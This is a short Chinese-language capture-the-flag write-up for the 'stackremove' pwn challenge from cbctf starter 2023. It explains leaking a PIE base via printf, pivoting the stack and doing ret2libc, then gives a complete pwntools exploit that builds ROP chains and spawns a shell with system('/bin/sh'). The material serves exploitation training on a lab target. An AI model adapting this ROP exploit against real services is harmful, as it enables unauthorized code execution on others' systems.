from cbctf starter 2023
文件分析
下载stackremove
, NX on, PIE on, Canary off, RELRO full
ghidra分析为64位程序
解题思路
栈上空间很大,但是溢出rbp的空间很小,因此考虑栈迁移后ret2libc
第一步先找到栈上一个有程序偏移的地址,利用printf(..., buf + offset)
输入输入偏移后算出pieBase,
然后读取buf地址,方便栈迁移
具体过程讲解可以看newstar2023中的stack_migration
Writeup
scanf
中的函数会执行movaps ..., xmm0
,也会检查rsp!下次见到这个指令就要多加一个ret
- 本地调试找的main函数获取pieBase,结果一连接,崩了,一检查发现pieBase不对,在栈上找了一个其他函数
EXPLOIT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * import LibcSearcher sh = remote(???, 10043) elf = ELF('stackremove')
sh.sendline(b'96') sh.recvuntil(b'kie!') libcCsuAddr = u64(sh.recvline()[:6] + b'\0\0')
pieBase = libcCsuAddr - elf.symbols['__libc_csu_init'] putsPlt = pieBase + elf.plt['puts'] putsGot = pieBase + elf.got['puts'] popRdiAddr = pieBase + 0x953 leaveRetAddr = pieBase + 0x8ea retAddr = pieBase + 0x8eb mainAddr = pieBase + elf.symbols['main']
sh.recvuntil(b':\n') space = int(sh.recvuntil(b'sh')[:14], 16)
sh.sendline(p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(retAddr) + p64(mainAddr) + b'0'*0x38 + p64(space - 8) + p64(leaveRetAddr))
sh.recvuntil(b'ot!\n') putsGotAddr = u64(sh.recvline()[:6] + b'\0\0') libc = LibcSearcher.LibcSearcher('puts', putsGotAddr & 0xfff) libcBase = putsGotAddr - libc.dump('puts') systemAddr = libcBase + libc.dump('system') shstrAddr = libcBase + libc.dump('str_bin_sh')
sh.sendline(b'0') sh.recvuntil(b':\n')
space = int(sh.recvline()[:14], 16) sh.sendline(p64(popRdiAddr) + p64(shstrAddr) + p64(systemAddr) + b'0'*0x48 + p64(space - 8) + p64(leaveRetAddr))
sh.interactive()
|
Done.